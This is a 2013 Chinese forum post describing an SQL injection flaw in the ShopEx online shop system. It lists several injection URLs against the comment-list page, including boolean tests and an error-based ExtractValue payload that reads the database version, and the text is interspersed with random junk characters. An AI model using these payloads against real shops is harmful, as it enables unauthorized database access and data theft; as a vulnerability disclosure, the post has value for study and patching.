注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术… 9 A" w# z* Q5 i# {5 |* n; u' r
+ V/ V; D3 F' W6 X. G$ U好吧，我扯远了~~
( V u0 b6 F4 d$ a/ L: T" l其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~# o m" D9 g: W* i& a* ?
不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
+ e& {1 a5 J. d* ^8 @. G$ y* @* ^! |2 Y) x
http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html ! c( P# g. E1 _6 @6 m- |- L$ U
6 C. e; f% B" j# D. ]http://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html % I) c4 r% ^" A
9 d& p; _% \. \, y: N* yhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
; b1 b$ G9 r, D
0 t4 ~+ T- B- y$ R: Z+ {* j, f4 Vhttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html
) p/ g% b" d9 r1 }4 l# l) m" I* m' v' D
2 g7 H$ F! ~- p. r" e; r- Y
一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
7 \5 \( g3 [; c, l# ]如何注入就不多说了，10多年的东西了…不会也会了… ) E: T5 I# S8 Z% q. f
& K4 p4 f( |# W2 T ?2 f
4 [7 c- i8 B0 k& U2 r' z) T
1 F" g8 }/ a! B9 T6 K* P0 `5 h
( m& k, r* G4 P- r+ r, m2 @. B |
发表于 2013-2-19 08:31:27
收藏
支持
反对